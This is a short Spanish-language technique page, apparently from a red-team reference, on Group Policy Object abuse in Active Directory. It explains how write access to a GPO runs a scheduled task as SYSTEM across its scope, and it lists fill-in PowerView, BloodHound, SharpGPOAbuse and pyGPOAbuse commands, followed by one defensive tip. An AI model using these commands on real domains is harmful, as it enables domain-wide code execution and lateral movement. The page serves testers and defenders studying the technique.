Qué es
El abuso de GPO usa un permiso de escritura sobre un objeto de directiva de grupo para ejecutar código en cada equipo dentro de su alcance. Una sola escritura llega a decenas o cientos de máquinas, con privilegios SYSTEM.
Cómo funciona
Las directivas de grupo entregan configuración a los equipos por el canal estándar de Windows. Cada equipo del alcance refresca la directiva cada 90 a 120 minutos y aplica lo que encuentra, con privilegios SYSTEM. Con permiso de escritura sobre la GPO, el atacante añade una tarea programada inmediata. El payload se escribe en SYSVOL, replica a los Domain Controllers y corre como SYSTEM en el siguiente refresco. El sistema no separa un cambio del administrador de uno del atacante: es el mismo canal de directiva. El alcance define el impacto: una GPO enlazada a la OU de Domain Controllers ejecuta en cada DC.
Comandos
Buscar quién tiene escritura sobre las GPO, con PowerView:
Get-DomainGPO | Get-DomainObjectAcl -ResolveGUIDs | ? { $_.ActiveDirectoryRights -match 'WriteProperty|WriteDacl|GenericWrite|GenericAll' }Recolectar el dominio para mapear las aristas de escritura en BloodHound:
bloodhound-python -d <DOMAIN> -u <USER> -p <PASSWORD> -c All -ns <IP>Añadir una tarea programada inmediata a la GPO, desde Windows con SharpGPOAbuse:
SharpGPOAbuse.exe --AddComputerTask --TaskName "<TASK>" --Author <DOMAIN>\<USER> --Command "cmd.exe" --Arguments "/c <COMMAND>" --GPOName "<GPO>"Lo mismo desde Linux con pyGPOAbuse:
pygpoabuse.py <DOMAIN>/<USER>:<PASSWORD> -gpo-id <GPO-ID> -command "<COMMAND>"Forzar el refresco en un equipo que controlas, o esperar el ciclo normal:
gpupdate /forceCómo defenderse
Audita las DACL de cada GPO y quita el permiso de escritura sin justificación, sobre todo en las enlazadas a Domain Controllers.